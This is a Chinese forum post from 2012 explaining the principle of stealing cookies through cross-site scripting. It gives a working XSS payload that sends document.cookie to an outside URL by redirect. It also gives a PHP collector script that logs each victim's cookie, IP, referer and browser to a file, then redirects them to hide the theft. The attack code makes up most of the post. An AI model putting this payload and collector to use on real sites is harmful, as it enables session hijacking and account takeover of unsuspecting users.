灯火互联
管理员
管理员
  • 注册日期2011-07-27
  • 发帖数41778
  • QQ
  • 火币41290枚
  • 粉丝1086
  • 关注100
  • 终身成就奖
  • 最爱沙发
  • 忠实会员
  • 灌水天才奖
  • 贴图大师奖
  • 原创先锋奖
  • 特殊贡献奖
  • 宣传大使奖
  • 优秀斑竹奖
  • 社区明星
阅读:3942回复:0

跨站提取cookie的原理

楼主#
更多 发布于:2012-08-24 21:50

个人理解为跨站就意味着可以执行javascript代码,javascript利用Document文档对象的cookie属性就获取到了cookie,然后就可能利用cookie欺骗登陆。


跨站提取cookie的原理  等价于
如何从在浏览器中获取cookie + 发送cookie到指定url

比如:
“><script>document.location = ’http://www.atcpu.com /test.php?cookie=’ + document.cookie;</script><img

依次使用了:
1.浏览器的DOM对象的cookie属性,获得了cookie值
2.将cookie值作为参数传递给localhost服务器上的test.php脚本,使用的是GET方式提交数据
3.利用document.location进行跳转,实际就是通过url访问实现数据提交

而test.php中的内容类似于:
<?php

$cookie = $_GET['cookie'];            //以GET方式获取cookie变量值
$ip = getenv (‘REMOTE_ADDR’);        //远程主机IP地址
$time=date(‘Y-m-d g:i’);            //以“年-月-日 时:分:秒”的格式显示时间
$referer=getenv (‘HTTP_REFERER’);    //链接来源
$agent = $_SERVER['HTTP_USER_AGENT'];    //用户浏览器类型

$fp = fopen(‘cookie.txt’, ’a');        //打开cookie.txt,若不存在则创建它
fwrite($fp,”IP: ”.$ip. ”\n Date and Time: ”.$time. ”\n User Agent:”.$agent.”\n Referer: ”.$referer.”\n Cookie: ”.$cookie.”\n\n\n”);    //写入文件
fclose($fp);    //关闭文件

header(“Location: http://www.atcpu.com”);    //将网页重定向到灯火计算机社区,增强隐蔽性

?>
这些用户数据来源于HTTP数据包中的浏览器头部信息

喜欢0 评分0
游客

返回顶部